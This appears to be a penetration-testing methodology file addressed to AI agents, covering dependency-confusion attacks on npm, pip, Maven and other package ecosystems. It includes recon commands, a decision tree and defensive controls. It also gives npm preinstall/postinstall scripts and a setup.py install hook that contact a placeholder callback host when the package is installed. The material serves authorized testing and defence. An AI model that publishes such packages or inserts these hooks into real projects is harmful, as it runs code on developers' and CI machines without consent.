AI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.
What to look for first
install/build can drift toward public metadata.Fast mental model: If the resolver can see both private and public indexes, and version ranges allow it, the “newest” matching version may be the attacker’s.
Routing note: if the task comes from supply-chain, repository exposure, or CI-build recon, first use recon-for-sec to list internal package names and possible public-registry collisions.
@org-scope/internal-utils or an unscoped name such as acme-billing-sdk.9.9.9 can beat a private 1.2.3 if ranges allow.preinstall/postinstall, setuptools entry points, etc.) → attacker code runs on developer laptops, CI, or production image builds.This is a supply-chain class issue: impact is often broad (many consumers) and silent until build or runtime hooks fire.
| Ecosystem | Typical manifest | Confusion angle |
|---|---|---|
| npm | package.json |
Scoped packages (@scope/pkg) are safer when the scope is owned on the registry; unscoped private-style names are high risk. Multiple registries / .npmrc registry vs per-scope @scope:registry= misconfiguration increases risk. |
| pip | requirements.txt, pyproject.toml, setup.py |
pip install -i / --extra-index-url merges indexes; a public index can serve a higher version for the same distribution name. |
| RubyGems | Gemfile |
source order and additional sources; ambiguous gem names reachable from rubygems.org. |
| Maven | pom.xml |
Repository declaration order and mirror settings; a public repo publishing the same groupId:artifactId under a higher version can win if policy allows. |
| Composer | composer.json |
Packagist is default; private packages without repositories/canonical discipline may collide with public names. |
| Docker | FROM, image tags |
Typosquatting on container registries (e.g. public hub) for images with names similar to internal base images. |
Where internal names leak
package.json, requirements.txt, Gemfile, pom.xml, composer.json in repos or forks..npmrc, .pypirc, CI logs showing install URLs or mirror endpoints.Check public squatting / claimability (read-only)
# npm — metadata for a name (unscoped)
npm view some-internal-package-name version
# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json
# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
# RubyGems — query remote
gem search '^some-internal-package-name$' --remote
# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"
Routing note: after package-name enumeration, consider PoC only in authorized environments; public registry lookups themselves are usually passive recon.
Authorized testing pattern
^1.0.0 → publish 9.9.9).npm package.json — minimal callback-style PoC (illustrative)
{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}
npm package.json — shell + curl fallback (illustrative)
{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}
pip — setup hook pattern (illustrative; use only in authorized lab packages)
# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)
Reference implementation (study / lab): community PoC layout and workflow similar to 0xsapra/dependency-confusion-exploit — automate version bump, publish, and callback confirmation only where you have written permission.
| Tool | Role |
|---|---|
| visma-prodsec/confused | Scans manifest files for dependency names that may be claimable on public registries (multi-ecosystem). |
| synacktiv/DepFuzzer | Automated dependency confusion testing workflows (use strictly in-scope). |
Run these only against your manifests or authorized engagements; do not use to squat names for unrelated third parties.
@org-scope/pkg) with org-owned scopes; set .npmrc so private scopes map to private registry and default registry is not accidentally public for internal names.package-lock.json, poetry.lock, Gemfile.lock, composer.lock) enforced in CI.--extra-index-url; prefer single private index with mirroring, or explicit --index-url policies in CI.repositories with canonical: true for private packages; verify Packagist is not introducing unexpected vendors.Do manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
│ ├─ YES → Lower risk; still verify CI and developer machines do not override config.
│ └─ NO → HIGH RISK
│ ├─ Can a public registry publish a HIGHER version inside declared ranges?
│ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
│ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
│ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)
recon-for-sec: When doing supply-chain reconnaissance, cross-link leaked manifests and internal package identifiers with the checks in Section 3 and the decision tree in Section 7 before proposing any publish/PoC steps.